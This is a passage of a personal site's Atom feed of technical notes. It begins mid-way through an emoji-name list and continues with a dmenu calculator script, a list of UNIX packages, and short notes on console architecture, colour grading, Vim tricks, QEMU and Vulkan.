camera: 📷
camera_with_flash: 📸
video_camera: 📹
television: 📺
radio: 📻
videocassette: 📼
film_projector: 📽
prayer_beads: 📿
twisted_rightwards_arrows: 🔀
clockwise_rightwards_and_leftwards_open_circle_arrows: 🔁
clockwise_rightwards_and_leftwards_open_circle_arrows_with_circled_one_overlay: 🔂
clockwise_downwards_and_upwards_open_circle_arrows: 🔃
anticlockwise_downwards_and_upwards_open_circle_arrows: 🔄
low_brightness_symbol: 🔅
high_brightness_symbol: 🔆
speaker_with_cancellation_stroke: 🔇
speaker: 🔈
speaker_with_one_sound_wave: 🔉
speaker_with_three_sound_waves: 🔊
battery: 🔋
electric_plug: 🔌
left-pointing_magnifying_glass: 🔍
right-pointing_magnifying_glass: 🔎
lock_with_ink_pen: 🔏
closed_lock_with_key: 🔐
key: 🔑
lock: 🔒
open_lock: 🔓
bell: 🔔
bell_with_cancellation_stroke: 🔕
bookmark: 🔖
link_symbol: 🔗
radio_button: 🔘
back_with_leftwards_arrow_above: 🔙
end_with_leftwards_arrow_above: 🔚
on_with_exclamation_mark_with_left_right_arrow_above: 🔛
soon_with_rightwards_arrow_above: 🔜
top_with_upwards_arrow_above: 🔝
no_one_under_eighteen_symbol: 🔞
keycap_ten: 🔟
input_symbol_for_latin_capital_letters: 🔠
input_symbol_for_latin_small_letters: 🔡
input_symbol_for_numbers: 🔢
input_symbol_for_symbols: 🔣
input_symbol_for_latin_letters: 🔤
fire: 🔥
electric_torch: 🔦
wrench: 🔧
hammer: 🔨
nut_and_bolt: 🔩
hocho: 🔪
pistol: 🔫
microscope: 🔬
telescope: 🔭
crystal_ball: 🔮
six_pointed_star_with_middle_dot: 🔯
japanese_symbol_for_beginner: 🔰
trident_emblem: 🔱
black_square_button: 🔲
white_square_button: 🔳
large_red_circle: 🔴
large_blue_circle: 🔵
large_orange_diamond: 🔶
large_blue_diamond: 🔷
small_orange_diamond: 🔸
small_blue_diamond: 🔹
up-pointing_red_triangle: 🔺
down-pointing_red_triangle: 🔻
up-pointing_small_red_triangle: 🔼
down-pointing_small_red_triangle: 🔽
om_symbol: 🕉
dove_of_peace: 🕊
kaaba: 🕋
mosque: 🕌
synagogue: 🕍
menorah_with_nine_branches: 🕎
clock_face_one_o&#39;clock: 🕐
clock_face_two_o&#39;clock: 🕑
clock_face_three_o&#39;clock: 🕒
clock_face_four_o&#39;clock: 🕓
clock_face_five_o&#39;clock: 🕔
clock_face_six_o&#39;clock: 🕕
clock_face_seven_o&#39;clock: 🕖
clock_face_eight_o&#39;clock: 🕗
clock_face_nine_o&#39;clock: 🕘
clock_face_ten_o&#39;clock: 🕙
clock_face_eleven_o&#39;clock: 🕚
clock_face_twelve_o&#39;clock: 🕛
clock_face_one-thirty: 🕜
clock_face_two-thirty: 🕝
clock_face_three-thirty: 🕞
clock_face_four-thirty: 🕟
clock_face_five-thirty: 🕠
clock_face_six-thirty: 🕡
clock_face_seven-thirty: 🕢
clock_face_eight-thirty: 🕣
clock_face_nine-thirty: 🕤
clock_face_ten-thirty: 🕥
clock_face_eleven-thirty: 🕦
clock_face_twelve-thirty: 🕧
candle: 🕯
mantelpiece_clock: 🕰
hole: 🕳
man_in_business_suit_levitating: 🕴
sleuth_or_spy: 🕵
dark_sunglasses: 🕶
spider: 🕷
spider_web: 🕸
joystick: 🕹
man_dancing: 🕺
linked_paperclips: 🖇
lower_left_ballpoint_pen: 🖊
lower_left_fountain_pen: 🖋
lower_left_paintbrush: 🖌
lower_left_crayon: 🖍
raised_hand_with_fingers_splayed: 🖐
reversed_hand_with_middle_finger_extended: 🖕
raised_hand_with_part_between_middle_and_ring_fingers: 🖖
black_heart: 🖤
desktop_computer: 🖥
printer: 🖨
three_button_mouse: 🖱
trackball: 🖲
frame_with_picture: 🖼
card_index_dividers: 🗂
card_file_box: 🗃
file_cabinet: 🗄
wastebasket: 🗑
spiral_note_pad: 🗒
spiral_calendar_pad: 🗓
compression: 🗜
old_key: 🗝
rolled-up_newspaper: 🗞
dagger_knife: 🗡
speaking_head_in_silhouette: 🗣
left_speech_bubble: 🗨
right_anger_bubble: 🗯
ballot_box_with_ballot: 🗳
world_map: 🗺
mount_fuji: 🗻
tokyo_tower: 🗼
statue_of_liberty: 🗽
silhouette_of_japan: 🗾
moyai: 🗿
grinning_face: 😀
grinning_face_with_smiling_eyes: 😁
face_with_tears_of_joy: 😂
smiling_face_with_open_mouth: 😃
smiling_face_with_open_mouth_and_smiling_eyes: 😄
smiling_face_with_open_mouth_and_cold_sweat: 😅
smiling_face_with_open_mouth_and_tightly-closed_eyes: 😆
smiling_face_with_halo: 😇
smiling_face_with_horns: 😈
winking_face: 😉
smiling_face_with_smiling_eyes: 😊
face_savouring_delicious_food: 😋
relieved_face: 😌
smiling_face_with_heart-shaped_eyes: 😍
smiling_face_with_sunglasses: 😎
smirking_face: 😏
neutral_face: 😐
expressionless_face: 😑
unamused_face: 😒
face_with_cold_sweat: 😓
pensive_face: 😔
confused_face: 😕
confounded_face: 😖
kissing_face: 😗
face_throwing_a_kiss: 😘
kissing_face_with_smiling_eyes: 😙
kissing_face_with_closed_eyes: 😚
face_with_stuck-out_tongue: 😛
face_with_stuck-out_tongue_and_winking_eye: 😜
face_with_stuck-out_tongue_and_tightly-closed_eyes: 😝
disappointed_face: 😞
worried_face: 😟
angry_face: 😠
pouting_face: 😡
crying_face: 😢
persevering_face: 😣
face_with_look_of_triumph: 😤
disappointed_but_relieved_face: 😥
frowning_face_with_open_mouth: 😦
anguished_face: 😧
fearful_face: 😨
weary_face: 😩
sleepy_face: 😪
tired_face: 😫
grimacing_face: 😬
loudly_crying_face: 😭
face_with_open_mouth: 😮
hushed_face: 😯
face_with_open_mouth_and_cold_sweat: 😰
face_screaming_in_fear: 😱
astonished_face: 😲
flushed_face: 😳
sleeping_face: 😴
dizzy_face: 😵
face_without_mouth: 😶
face_with_medical_mask: 😷
grinning_cat_face_with_smiling_eyes: 😸
cat_face_with_tears_of_joy: 😹
smiling_cat_face_with_open_mouth: 😺
smiling_cat_face_with_heart-shaped_eyes: 😻
cat_face_with_wry_smile: 😼
kissing_cat_face_with_closed_eyes: 😽
pouting_cat_face: 😾
crying_cat_face: 😿
weary_cat_face: 🙀
slightly_frowning_face: 🙁
slightly_smiling_face: 🙂
upside-down_face: 🙃
face_with_rolling_eyes: 🙄
face_with_no_good_gesture: 🙅
face_with_ok_gesture: 🙆
person_bowing_deeply: 🙇
see-no-evil_monkey: 🙈
hear-no-evil_monkey: 🙉
speak-no-evil_monkey: 🙊
happy_person_raising_one_hand: 🙋
person_raising_both_hands_in_celebration: 🙌
person_frowning: 🙍
person_with_pouting_face: 🙎
person_with_folded_hands: 🙏
rocket: 🚀
helicopter: 🚁
steam_locomotive: 🚂
railway_car: 🚃
high-speed_train: 🚄
high-speed_train_with_bullet_nose: 🚅
train: 🚆
metro: 🚇
light_rail: 🚈
station: 🚉
tram: 🚊
tram_car: 🚋
bus: 🚌
oncoming_bus: 🚍
trolleybus: 🚎
bus_stop: 🚏
minibus: 🚐
ambulance: 🚑
fire_engine: 🚒
police_car: 🚓
oncoming_police_car: 🚔
taxi: 🚕
oncoming_taxi: 🚖
automobile: 🚗
oncoming_automobile: 🚘
recreational_vehicle: 🚙
delivery_truck: 🚚
articulated_lorry: 🚛
tractor: 🚜
monorail: 🚝
mountain_railway: 🚞
suspension_railway: 🚟
mountain_cableway: 🚠
aerial_tramway: 🚡
ship: 🚢
rowboat: 🚣
speedboat: 🚤
horizontal_traffic_light: 🚥
vertical_traffic_light: 🚦
construction_sign: 🚧
police_cars_revolving_light: 🚨
triangular_flag_on_post: 🚩
door: 🚪
no_entry_sign: 🚫
smoking_symbol: 🚬
no_smoking_symbol: 🚭
put_litter_in_its_place_symbol: 🚮
do_not_litter_symbol: 🚯
potable_water_symbol: 🚰
non-potable_water_symbol: 🚱
bicycle: 🚲
no_bicycles: 🚳
bicyclist: 🚴
mountain_bicyclist: 🚵
pedestrian: 🚶
no_pedestrians: 🚷
children_crossing: 🚸
mens_symbol: 🚹
womens_symbol: 🚺
restroom: 🚻
baby_symbol: 🚼
toilet: 🚽
water_closet: 🚾
shower: 🚿
bath: 🛀
bathtub: 🛁
passport_control: 🛂
customs: 🛃
baggage_claim: 🛄
left_luggage: 🛅
couch_and_lamp: 🛋
sleeping_accommodation: 🛌
shopping_bags: 🛍
bellhop_bell: 🛎
bed: 🛏
place_of_worship: 🛐
octagonal_sign: 🛑
shopping_trolley: 🛒
hammer_and_wrench: 🛠
shield: 🛡
oil_drum: 🛢
motorway: 🛣
railway_track: 🛤
motor_boat: 🛥
small_airplane: 🛩
airplane_departure: 🛫
airplane_arriving: 🛬
satellite: 🛰
passenger_ship: 🛳
scooter: 🛴
motor_scooter: 🛵
canoe: 🛶
zipper-mouth_face: 🤐
money-mouth_face: 🤑
face_with_thermometer: 🤒
nerd_face: 🤓
thinking_face: 🤔
face_with_head-bandage: 🤕
robot_face: 🤖
hugging_face: 🤗
sign_of_the_horns: 🤘
call_me_hand: 🤙
raised_back_of_hand: 🤚
left-facing_fist: 🤛
right-facing_fist: 🤜
handshake: 🤝
hand_with_index_and_middle_fingers_crossed: 🤞
face_with_cowboy_hat: 🤠
clown_face: 🤡
nauseated_face: 🤢
rolling_on_the_floor_laughing: 🤣
drooling_face: 🤤
lying_face: 🤥
face_palm: 🤦
sneezing_face: 🤧
pregnant_woman: 🤰
selfie: 🤳
prince: 🤴
man_in_tuxedo: 🤵
mother_christmas: 🤶
shrug: 🤷
person_doing_cartwheel: 🤸
juggling: 🤹
fencer: 🤺
wrestlers: 🤼
water_polo: 🤽
handball: 🤾
wilted_flower: 🥀
drum_with_drumsticks: 🥁
clinking_glasses: 🥂
tumbler_glass: 🥃
spoon: 🥄
goal_net: 🥅
first_place_medal: 🥇
second_place_medal: 🥈
third_place_medal: 🥉
boxing_glove: 🥊
martial_arts_uniform: 🥋
croissant: 🥐
avocado: 🥑
cucumber: 🥒
bacon: 🥓
potato: 🥔
carrot: 🥕
baguette_bread: 🥖
green_salad: 🥗
shallow_pan_of_food: 🥘
stuffed_flatbread: 🥙
egg: 🥚
glass_of_milk: 🥛
peanuts: 🥜
kiwifruit: 🥝
pancakes: 🥞
crab: 🦀
lion_face: 🦁
scorpion: 🦂
turkey: 🦃
unicorn_face: 🦄
eagle: 🦅
duck: 🦆
bat: 🦇
shark: 🦈
owl: 🦉
fox_face: 🦊
butterfly: 🦋
deer: 🦌
gorilla: 🦍
lizard: 🦎
rhinoceros: 🦏
shrimp: 🦐
squid: 🦑
cheese_wedge: 🧀</code></pre>
                    <p>I also use this other one for a quick calculator
                    prompt with <code>Super + c</code>:</p>
                    <pre><code>#!/bin/sh

PREVIOUS_RESULT=&quot;=&quot;
while [[ 1 ]]; do
    CURRENT_INPUT=$(echo -e $PREVIOUS_RESULT | dmenu -i -p Calculate:)
    if [[ -z $CURRENT_INPUT ]]; then
        break
    fi
    if [[ -z $CURRENT_INPUT ]] || [[ $CURRENT_INPUT == &quot;=&quot; ]]; then
        echo -e $PREVIOUS_RESULT | sed -s &quot;s/(ERROR)//&quot; | tr -d &quot;=\n\r&quot;
        break
    fi
    CURRENT_RESULT=$(echo &quot;scale=6;$CURRENT_INPUT&quot; | bc 2&gt;&amp;1)
    if [[ $CURRENT_RESULT =~ &quot;error&quot; ]]; then
        PREVIOUS_RESULT=&quot;$PREVIOUS_RESULT\n(ERROR)&quot;
    else
        PREVIOUS_RESULT=&quot;$CURRENT_RESULT\n=&quot;
    fi
done</code></pre>
                    <h2 id="essential-unix-packages">Essential UNIX
                    packages</h2>
                    <p>Some packages necesary for a normal installation
                    using my workflow, should be applicable for Linux,
                    FreeBSD and macOS.</p>
                    <h3 id="development-tools">Development tools</h3>
                    <ul>
                    <li>kitty: My current terminal of choice, it’s fast
                    and has image support.</li>
                    <li>git: version control software</li>
                    <li>zsh: my shell of choice</li>
                    <li>tmux: terminal multiplexer</li>
                    <li>vim/neovim: my text editor of choice</li>
                    <li>ripgrep: blazing fast file search</li>
                    <li>fzf: improved fuzzy search in command line</li>
                    <li>aerc/thunderbird: email</li>
                    <li>nnn/broot/nautilus file management.</li>
                    <li>hyperfine: benchmarks (optional)</li>
                    <li>hexedit/binsider: hex file viewer TUI
                    (optional)</li>
                    <li>languagetool: grammar/syntax analysis</li>
                    <li>valgrind: instrumentation/dynamic code
                    analysis</li>
                    <li>virtualbox/qemu/bhyve/virt-manager:
                    virtualization</li>
                    <li>pv (pipe viewer): monitor data progress through
                    a pipeline</li>
                    </ul>
                    <h3 id="programming-languages">Programming
                    languages</h3>
                    <ul>
                    <li>c/c++
                    (gcc/clang/cmake/make/ninja/ctags/etc.)</li>
                    <li>python/pip</li>
                    <li>R</li>
                    <li>rust</li>
                    <li>golang</li>
                    <li>haskell</li>
                    <li>latex</li>
                    <li>java/jdk/jrm/openjdk</li>
                    <li>scheme (guile/chez/racket/chicken)</li>
                    <li>mono</li>
                    <li>nodejs/npm</li>
                    </ul>
                    <h3 id="linux-specific">Linux specific</h3>
                    <ul>
                    <li>alsa</li>
                    <li>pulseaudio/pavucontrol</li>
                    </ul>
                    <h3 id="utilities">Utilities</h3>
                    <ul>
                    <li>sudo/doas: privilege scalation</li>
                    <li>password-store: password manager</li>
                    <li>nautilus: file manager</li>
                    <li>nnn: file manager</li>
                    <li>ranger: file manager</li>
                    <li>htop: cpu/memory monitor</li>
                    <li>gotop: cpu/memory monitor</li>
                    <li>dropbox: cloud sync service</li>
                    <li>skype: video calls</li>
                    <li>zoom: video calls</li>
                    <li>zathura/evince: pdf reader</li>
                    <li>mendeley/zotero: pdf manager</li>
                    <li><a href="./mutt.md">Mutt/Neomutt</a>/<a
                    href="https://aerc-mail.org/">aerc</a>: TUI mail
                    readers.</li>
                    <li>newsboat/newsraft/radreader: rss newsreader</li>
                    <li>obs: screen recorder/scene manager</li>
                    <li>pandoc: text format converter</li>
                    <li>rsync: copy/clone/sync utility</li>
                    <li>samba: network shares</li>
                    <li>sxiv/vimiv: image viewers</li>
                    <li>surfraw: multiple search engine browser</li>
                    <li>sc-im: NCurses spreadsheet (Chokes on big
                    files)</li>
                    <li><a
                    href="https://www.visidata.org/">visidata</a>:
                    search, summarize, merge and plot csv files</li>
                    <li><a
                    href="https://github.com/jarun/buku">buku</a>:
                    bookmark manager from the command line</li>
                    <li>dunst: Lightweight notification daemon</li>
                    <li><a
                    href="https://github.com/trizen/pipe-viewer">pipe-viewer</a>:
                    Search youtube from the command line. Can play the
                    videos using mpv and <a
                    href="https://hund.tty1.se/2021/10/12/how-to-use-yt-dlp-instead-of-yt-dl-with-mpv.html">yt-dlt</a></li>
                    </ul>
                    <h3 id="network-analysis">Network analysis</h3>
                    <ul>
                    <li>wireshark</li>
                    <li>nmap</li>
                    </ul>
                    <h3 id="web-browsers">Web browsers</h3>
                    <ul>
                    <li>Chromium</li>
                    <li>Firefox</li>
                    <li>Qutebrowser</li>
                    <li>Lynx</li>
                    <li>w3m</li>
                    </ul>
                    <h3 id="xorgappearance">Xorg/Appearance</h3>
                    <ul>
                    <li>xorg: classic graphics server</li>
                    <li>nitrogen: background image loader</li>
                    <li>freetype2: font rendering engine</li>
                    <li>lxrandr: easier resolution change</li>
                    <li>lxappearance: easier gtk style change</li>
                    <li>iosevka: monospace font</li>
                    <li>droid-fonts-ttf: essential fonts</li>
                    <li>google-fonts: essential fonts</li>
                    <li>font-amsfonts: essential fonts</li>
                    <li>sierra-gtk-themes, adapta-gtk-themes,
                    numix-gtk-themes: gtk-themes</li>
                    <li>dzen2: custom volume bar increase/decrease</li>
                    </ul>
                    <h3 id="window-manager-and-related-utils">Window
                    manager and related utils</h3>
                    <ul>
                    <li>dwm: My windows manager of choice</li>
                    <li>dmenu: Application and utility launcher</li>
                    <li>st: My X terminal of choice</li>
                    <li>slock: Simple screen lock utility</li>
                    </ul>
                    <h3 id="other">Other</h3>
                    <ul>
                    <li><a href="https://github.com/wustho/epy">epy: CLI
                    eBook reader</a></li>
                    <li>blender</li>
                    <li>gimp</li>
                    <li>krita</li>
                    <li>inkscape</li>
                    <li>calibre</li>
                    </ul>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a href="http://shellhaters.org/">The POSIX
                    Shell And Utilities.</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Videogame Consoles Architecture</title>
            <link href="https://badd10de.dev//notes/videogame-consoles-architecture.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/videogame-consoles-architecture.html</id>
            <updated>2026-06-16T09:49:26Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://www.copetti.org/projects/consoles/">Evolution
                    and Architecture of Consoles</a> by <a
                    href="https://www.copetti.org/">Rodrigo
                    Copetti</a></li>
                    <li><a
                    href="https://github.com/Zal0/gbdk-2020/">GameBoy
                    Developer Kit (GBDK)</a></li>
                    <li><a
                    href="https://videlais.com/2016/07/03/programming-game-boy-games-using-gbdk-part-1-configuring-programming-and-compiling/">Programming
                    Game Boy Games with GBDK</a></li>
                    <li><a href="https://gbdev.io/pandocs/">Game Boy
                    technical reference</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Video Production</title>
            <link href="https://badd10de.dev//notes/video-production.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/video-production.html</id>
            <updated>2026-06-16T09:49:26Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="color-grading">Color grading</h2>
                    <p>Normally you want to follow the following
                    workflow:</p>
                    <ol type="1">
                    <li>Color correction by adjusting the gamma,
                    exposure and saturation (Using waveform, vectorscope
                    and histogram).</li>
                    <li>White balancing</li>
                    <li>Applying desired style (i.e. teal + orange,
                    LUTs, etc.)</li>
                    </ol>
                    <h3 id="resources">Resources</h3>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=A-PP68XgQng&amp;t=487s&amp;ab_channel=ColorGradingCentral">The
                    Simplest Way to Perfect Skin Tones</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=NoyDMKqo80U&amp;ab_channel=ColorGradingCentral">Davinci
                    Resolve 16 - Beginner to Hero Tutorial</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=tTj-uvVrOYM&amp;ab_channel=nutty">Make
                    Your Streaming Camera Look Pro! (A Guide for
                    Lighting and Color Correction)</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=itr8ULe6U0A&amp;ab_channel=DSLRVideoShooter">Why
                    EVERYONE Should Use Video Scopes for Color
                    Correction</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Vim</title>
            <link href="https://badd10de.dev//notes/vim.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/vim.html</id>
            <updated>2026-06-16T09:49:26Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>I’ve been using vim for more than 10 years. Here
                    are a list of things I usually forget from time to
                    time that are extremely useful.</p>
                    <ul>
                    <li>You can use <code>gi</code> in normal mode to
                    start inserting in the last position you inserted
                    even if you have moved through the buffer.</li>
                    <li>To emulate the power of multiple cursors we can
                    make use of the <code>cgn</code> text object:
                    <ul>
                    <li>Search a word with <code>/</code> or
                    <code>*</code></li>
                    <li>Use <code>cgn</code> to change the word</li>
                    <li>Use dot repeat to keep going or use
                    <code>gn</code> so skip a word</li>
                    </ul></li>
                    <li>Fuzzy find files with <code>:find *</code>. This
                    works on other directories as well, not only the
                    root <code>:find ../../../**/woah</code></li>
                    <li>Use <code>:b whatever</code> to switch to an
                    open buffer in vim with a <em>whatever</em>
                    substring in the file name.</li>
                    <li>Tags navigation is awesome:
                    <ul>
                    <li>Go to next tag: <code>C-]</code></li>
                    <li>Find ambiguous tag: <code>gC-]</code></li>
                    <li>Go back: <code>C-t</code></li>
                    </ul></li>
                    <li>We don’t necessarily need completion plugins.
                    Instead here are some commands for more powerful
                    completion:
                    <ul>
                    <li>Simple completion with: <code>C-n</code> or
                    <code>C-p</code></li>
                    <li>Restrict to current file: <code>C-x C-n</code>
                    or <code>C-x C-p</code></li>
                    <li>Complete only file names:
                    <code>C-x C-f</code></li>
                    <li>Restrict to tags only: <code>C-x C-]</code></li>
                    <li>Use omnicompletion <code>C-x C-o</code></li>
                    <li>Complete definition: <code>C-x C-d</code></li>
                    <li>Complete from included file:
                    <code>C-x C-i</code></li>
                    <li>Complete line already present in file:
                    <code>C-x C-l</code></li>
                    </ul></li>
                    <li>Working with the quickfix window:
                    <ul>
                    <li>Open it with: <code>:copen</code></li>
                    <li>Open it only if there are errors, otherwise
                    close it: <code>:cw</code></li>
                    <li>Close it: <code>:ccl</code></li>
                    <li>Go to next error: <code>:cn</code></li>
                    <li>Go to previous error: <code>:cp</code></li>
                    <li>Filter entries by a pattern with:
                    <code>:Cfilter</code> or for exclusion
                    <code>:Cfilter!</code></li>
                    <li>Execute an action on the items from the quickix:
                    <code>:cdo s/foo/bar/ | update</code></li>
                    <li>When on the quickfix window, press
                    <code>&lt;CR&gt;</code> to open on the top window or
                    <code>&lt;C-W&gt;&lt;CR&gt;</code> to open on a new
                    window.</li>
                    </ul></li>
                    <li>Use <code>gf</code> to open the file under the
                    cursor.</li>
                    <li>You can use vim as a mergetool, if configured:
                    <code>git mergetool</code>
                    <ul>
                    <li>Move to merge conflict on the bottom window</li>
                    <li>Keep local changes with
                    <code>:diffget LOCAL</code> or
                    <code>:diffg LO</code></li>
                    <li>Keep local changes with
                    <code>:diffget REMOTE</code> or
                    <code>:diffg RE</code></li>
                    <li>Navigate conflicts with <code>C-w,j</code></li>
                    <li>After saving, commit the changes.</li>
                    </ul></li>
                    <li>Searching files is amazing with just
                    <code>grep</code> or <code>vimgrep</code> commands.
                    They all fill the quickfix window.
                    <ul>
                    <li>Search local buffer:
                    <code>:vimgrep /pattern/ %</code></li>
                    <li>Search from the current working directory:
                    <code>:vimgrep /pattern/ **</code> or
                    <code>:Vimgrep /pattern/</code></li>
                    <li>Use an external tool for grepping
                    (i.e. <code>ripgrep</code>):
                    <code>:Grep /pattern/</code></li>
                    <li>Use <code>:Ggrep</code> if interested only in
                    filtering by the files on the git repository.</li>
                    </ul></li>
                    <li>Using the plugin <code>vim-unimpaired</code> is
                    very practical:
                    <ul>
                    <li>Jump between quickfix items: <code>]q</code> or
                    <code>[q</code></li>
                    <li>Jump between spelling errors: <code>]s</code> or
                    <code>[s</code></li>
                    <li>Add space before/after the line:
                    <code>]&lt;space&gt;</code> or
                    <code>]&lt;space&gt;</code></li>
                    <li>Jump between buffers: <code>]b</code> or
                    <code>[b</code></li>
                    <li>Jump between files in the directory:
                    <code>]f</code> or <code>[f</code></li>
                    <li>Exchange lines up/down: <code>]e</code> or
                    <code>[e</code></li>
                    </ul></li>
                    <li>Increase/decrease numbers by using
                    <code>&lt;C-A&gt;</code> and
                    <code>&lt;C-X&gt;</code> respectively.</li>
                    </ul>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://www.hillelwayne.com/post/intermediate-vim/">At
                    least one vim trick you might not know
                    (Hillel)</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Virtualization</title>
            <link href="https://badd10de.dev//notes/virtualization.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/virtualization.html</id>
            <updated>2026-06-16T09:49:27Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="qemu">QEMU</h2>
                    <p>Qemu is pretty awesome. Here is an example of how
                    to virtualize a windows guest under linux:</p>
                    <pre><code>qemu-system-x86_64 \
    -cpu
    -enable-kvm \
    -m 8192 \
    -drive file=/path/to/win/image.qcow2,index=0,media=disk,if=virtio \
    -net user,smb=/data \
    -net nic,model=virtio \
    -vga qxl \
    -display sdl,gl=on</code></pre>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Vulkan Programming</title>
            <link href="https://badd10de.dev//notes/vulkan-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/vulkan-programming.html</id>
            <updated>2026-06-16T09:49:27Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2
                    id="essential-elements-of-a-vulkan-application">Essential
                    Elements of a Vulkan Application</h2>
                    <ol type="1">
                    <li>Instance and physical device selection
                    <ul>
                    <li>VkInstance</li>
                    <li>VkPhysicalDevice</li>
                    </ul></li>
                    <li>Logical device and queue families
                    <ul>
                    <li>VkDevice</li>
                    <li>VkPhysicalDeviceFeatures</li>
                    <li>VkQueue</li>
                    </ul></li>
                    <li>Window surface and swap chain (Optional for
                    headless/offscreen rendering)
                    <ul>
                    <li>VkSurfaceKHR</li>
                    <li>VkSwapChainKHR</li>
                    </ul></li>
                    <li>Image views and framebuffers
                    <ul>
                    <li>VkImageView</li>
                    <li>VkFramebuffer</li>
                    </ul></li>
                    <li>Render passes</li>
                    <li>Graphics pipeline
                    <ul>
                    <li>VkPipeline</li>
                    <li>VkShaderModule</li>
                    </ul></li>
                    <li>Command pools and command buffers
                    <ul>
                    <li>VkCommandBuffer</li>
                    <li>VkCommandPool</li>
                    </ul></li>
                    <li>Main Loop
                    <ul>
                    <li>vkAcquireNextImageKHR</li>
                    <li>vkQueueSubmit (vkQueuePresentKHR)</li>
                    <li>Synchronization</li>
                    </ul></li>
                    </ol>
                    <p>Here is a diagram of how some of these elements
                    are connected together:</p>
                    <pre><code>+------------------+    +------------------+    +------------------+
| Instance         |---&gt;| Surface          |---&gt;| Swap Chain       |
+------------------+    +------------------+    +------------------+
         |
         V
+------------------+    +------------------+
| Physical Device  |---&gt;| Adapter          |
+------------------+    +------------------+
         |
         V
+------------------+
| Device           |
+------------------+</code></pre>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://github.com/KhronosGroup/Vulkan-Guide/blob/master/chapters/vulkan_spec.md">Vulkan
                    Spec</a></li>
                    <li><a
                    href="https://github.com/David-DiGioia/vulkan-diagrams">David
                    DiGioia’s vulkan-diagrams</a></li>
                    <li><a
                    href="https://developer.nvidia.com/vulkan-memory-management">Vulkan
                    Memory Management (nVidia)</a></li>
                    </ul>
                </div>
            </content>
        </entry>
    </feed>
